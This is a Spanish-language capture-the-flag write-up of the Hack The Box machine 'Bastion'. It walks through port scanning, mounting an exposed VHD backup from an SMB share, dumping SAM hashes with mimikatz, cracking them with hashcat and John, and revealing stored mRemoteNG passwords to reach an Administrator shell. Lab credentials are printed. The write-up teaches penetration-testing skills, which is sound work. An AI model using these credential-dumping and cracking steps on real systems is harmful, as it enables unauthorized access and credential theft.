Bastion es una maquina con dificultad facil, tiene un Disco Duro Virtual (VHD) expuesto en recurso de SAMBA, utilizando Windows montamos el disco y obtuvimos los hashes con mimikatz seguidamente con John una contraseña lo que nos dio acceso al servicio SSH. Importando el archivo de configuracion de mRemoteNG nos permitió obtener credenciales y escalar privilegios.
Nombre |
Bastion |
OS |
Windows |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.134 |
Maker |
L4mpje |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[7.5, 7.8, 5.7, 4.3, 2.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[8, 9, 4, 6, 1],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
MASSCAN & NMAP
Escaneo de puertos UDP/TCP con masscan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
root@sckull:~/htb/bastion# masscan -p1-65535,U:1-65535 10.10.10.134 --rate=1000
-e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-05-07 17:02:20 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.134
Discovered open port 135/tcp on 10.10.10.134
Discovered open port 5985/tcp on 10.10.10.134
Discovered open port 49664/tcp on 10.10.10.134
Discovered open port 49666/tcp on 10.10.10.134
Discovered open port 445/tcp on 10.10.10.134
Discovered open port 49668/tcp on 10.10.10.134
Discovered open port 139/tcp on 10.10.10.134
Discovered open port 49667/tcp on 10.10.10.134
Discovered open port 47001/tcp on 10.10.10.134
Discovered open port 49670/tcp on 10.10.10.134
Discovered open port 49669/tcp on 10.10.10.134
|
Escaneo de puertos TCP con nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
root@sckull:~/htb/bastion# nmap -p49667,139,49670,445,49669,49668,135,49666,22 -sV -A -O 10.10.10.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-07 18:58 BST
Nmap scan report for 10.10.10.134
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microso$t Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%), Microsoft Windows Vista SP1 - SP2,
Windows Server 2008 SP2, or Windows 7 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -39m52s, deviation: 1h09m14s, median: 5s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2019-05-07T20:00:16+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-05-07 19:00:12
|_ start_date: 2019-05-07 10:50:40
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 123.61 ms 10.10.14.1
2 123.96 ms 10.10.10.134
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.98 seconds
|
SMB
Escaneo de sharenames en SMB con smbclient.
1
2
3
4
5
6
7
8
9
10
11
12
|
root@sckull:~/htb/bastion# smbclient -L \\10.10.10.134
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
|
SMB - Backups
Encontramos una nota (note.txt)
en el sharename de Backups, esta nos habla de un backup.
note.txt
Tambien encontramos una carpeta de un backup de la maquina en \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\
dentro encontramos varios archivos xml y archivo vhd.
SMB - Montar archivo VHD
Mount VHD stored
Para poder ver lo que contiene el archivo backup en SMB montamos el SHARENAME localmente para luego hacer lo mismo con el backup y poder ver los archivos en su interior. Para ello utilizamos una maquina Windows.
Comandos:
1
2
3
4
5
6
7
|
net use h: \\10.10.10.134\Backups
DISKPART
SELECT VDISK FILE="H:\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd"
ATTACH VDISK
ASSIGN LETTER=E
exit
dir e:
|
SAM-SYSTEM HASHES
Ahora que tenemos acceso al backup de la maquina podemos buscar contraseñas guardadas, existen diferentes lugares y archivos donde podemos encontrar contraseñas almacenadas (Password Stored), en esta maquina las encontramos en C:\Windows\System32\config\
, donde podemos ver dos archivos uno llamado SAM
y otro SYSTEM
los cuales contienen hashes de autenticacion almacenadas por SAM (Security Account Manager)
.
Para obtener los hash podemos utilizar mimikatz
y samdump2
.
MIMIKATZ
1
|
mimikatz - lsadump::sam
|
SAMDUM2
Utilizamos los hash para ver los permisos del usuario L4mpje
en los SHARENAMES.
1
|
aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9
|
Crack HASHES
HASHCAT
1
|
hashcat/hashcat64.bin -m 1000 bastion.txt rockyou.txt -o bastion_pass.txt
|
JOHN
1
|
john --format=NT-old --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
|
Cracked:
26112010952d963c8dc4217daec986d9:bureaulampje
USER - L4mpje
Ahora que tenemos la contraseña para el usuario L4ampje podemos logearnos en el servicio ssh.
Obtenemos nuestra bandera user.txt.
PRIVILEGE ESCALATION - nRemoteNG
Al enumerar los programas nos encontramos con uno no muy comun en maquinas windows mRemoteNG
.
Al investigar un poco sobre este programa y sus vulnerabilidades encontramos que los archivos de configuracion contienen contraseñas encriptadas y las cuales pueden ser facilmente desencriptadas (Stealing Password from mremote). Aparentemente es una vulnerabilidad que no afecta a esta version del programa.
Archivos de configuracion (c:\Users\L4mpje\AppData\Roaming\mRemoteNG)
.
Utilizamos mRemoteNG
para ver el fuincionamiento de los archivos de configuracion. Para ello creamos un nuevo archivo de configuracion agregamos las credenciales del usuario L4mpje
y utilizamos la opcion de SSH2
, como vemos nos pudimos conectar exitosamente mediante ssh con el programa.
Al guardar el archivo de conexion vemos que es un archivo XML, dicho archivo tiene la misma estructura del archivo de configuracion que tiene la maquina en AppData
. Eliminamos la conexion de la lista de conexiones en mRemoteNG e importamos nuevamente el archivo que habiamos guardado (Bastion_file.xml
), al cargarse este archivo se cargaron las credenciales y la configuracion de SSH2 anteriormente realizadas.
Estructura del archivo XML
Ahora que sabemos que podemos importar un archivo de configuracion, vamos a intentar impoartar el archivo de configuracion que esta en la maquina, para ello lo descargamos. Vemos la misma configuracion que tiene nuestro archivo que guardamos anteriormente.
Importamos el archivo al programa y nos muestra dos conexiones una del usuario Administrador y de L4mpje.
Conexion DC
Conexion L4mpje-PC
Como podemos ver las direcciones IP a las que estan configuradas esas conexiones son locales vamos a cambiarlas y dirigirlas a la IP de la maquina (10.10.10.134), de la misma forma para el SSH e intentamos conectarnos.
L4mpje
Administrator - Shell
Finalmente obtenemos una shell como Administrador y nuestra bandera root.txt.
Al investigar acerca del crackeo de Contraseñas, encontre un post mRemote Crack Password en el cual muestra que podemos sacar la contraseña de cualquier conexion o configuracion de conexion mediante la creacion de una Herramienta externa con los siguientes datos:
1
2
|
File Name : cmd
Arguments : /k echo %password%
|
Para extraer la contraseña seleccionamos la conexion y le damos a ejecutar Herramienta externa > Seleccionamos la que hemos creado
.
Asi es como obtenemos la contraseña de Administrator
y L4mpje
.
1
2
|
Administrator:thXLHM96BeKL0ER2
L4mpje:bureaulampje
|